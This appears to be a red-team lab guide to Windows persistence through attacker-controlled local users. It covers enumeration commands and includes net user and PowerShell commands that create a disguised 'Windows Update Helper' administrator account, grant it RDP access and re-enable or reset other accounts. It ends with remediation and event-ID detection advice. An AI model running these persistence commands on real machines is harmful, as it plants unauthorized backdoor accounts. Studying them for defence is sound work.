Attacker Controlled Users

Creating or modifying a local user is one of the bluntest forms of Windows persistence.

If an attacker can create an account, enable a dormant account, reset a password or add a user to a privileged group, they gain an authentication path that survives the current process, shell and payload.

This is not a standard user to administrator technique by itself. Creating local users, resetting passwords and changing local administrator membership normally requires local administrator or SYSTEM context.

Common abuse scenarios include:

• Creating a new local administrator
• Adding an existing user to Administrators
• Adding an existing user to Remote Desktop Users
• Enabling a disabled account
• Resetting the password of a local account
• Hiding in stale local users that are rarely reviewed

When enumerating attacker controlled user persistence opportunities, try to identify:

• Current user privileges
• Existing local users
• Local administrator membership
• RDP-enabled users
• Disabled or stale accounts
• Recently created or modified users
• Accounts with password-never-expires flags

Enumeration

Check the current token:

whoami
whoami /groups
whoami /priv

List local users:

net user

Inspect a specific user:

net user <username>

Review local administrator membership:

net localgroup Administrators

Review RDP membership:

net localgroup "Remote Desktop Users"

PowerShell alternatives:

Get-LocalUser
Get-LocalGroupMember Administrators
Get-LocalGroupMember "Remote Desktop Users"

Check password and lockout policy:

net accounts

Interesting findings include:

• Unknown local administrator accounts
• Recently created local users
• Disabled accounts that were re-enabled
• Users with Password never expires
• Accounts added to Remote Desktop Users
• Local accounts used for remote logon

Once administrative control over local account configuration has been obtained, a user can be created or modified for persistent access.

Persistence

New Local Administrator

A new local administrator provides direct interactive access, but it is noisy and usually easy to detect.

1. Create a local user
2. Add the user to Administrators
3. Add RDP access if needed
4. Verify group membership
5. Authenticate using the new account

Create the user:

net user ootwsvc "P@ssw0rd!23" /add

Add the user to local administrators:

net localgroup Administrators ootwsvc /add

Allow RDP logon when RDP is part of the lab path:

net localgroup "Remote Desktop Users" ootwsvc /add

Verify:

net user ootwsvc
net localgroup Administrators

PowerShell alternative:

$Password = ConvertTo-SecureString "P@ssw0rd!23" -AsPlainText -Force
New-LocalUser -Name "ootwsvc" -Password $Password -Description "Windows Update Helper"
Add-LocalGroupMember -Group "Administrators" -Member "ootwsvc"

Existing User Modification

Modifying an existing account is sometimes less obvious than creating a new one, but it can disrupt the user and still generates account-change telemetry.

Enable a disabled user:

net user <username> /active:yes

Reset a local password:

net user <username> "P@ssw0rd!23"

Add the user to a privileged group:

net localgroup Administrators <username> /add

Local administrator access does not always mean an unfiltered remote admin token. Remote UAC filtering may affect local accounts connecting over administrative shares, WinRM or remote service control.

Remediation

Patch the weakness:

• Remove unknown users from Administrators and Remote Desktop Users.
• Disable or delete local accounts that do not have an owner.
• Reset passwords for accounts that may have been modified.
• Review Password never expires on local users and remove it where it is not required.
• Restrict local administrator rights to managed break-glass and endpoint administration accounts.
• Use LAPS or Windows LAPS for managed local administrator passwords.

Detect abuse:

• Review Security Event ID 4720 for user creation.
• Review Security Event IDs 4722, 4725, 4726 and 4738 for account enable, disable, deletion and modification.
• Review Security Event IDs 4732 and 4733 for local group membership changes.
• Correlate new local users with 4624 logons and 4672 special privilege assignment.
• Hunt for net.exe, net1.exe, PowerShell New-LocalUser and Add-LocalGroupMember usage.
• Compare local users and administrators against a known-good baseline.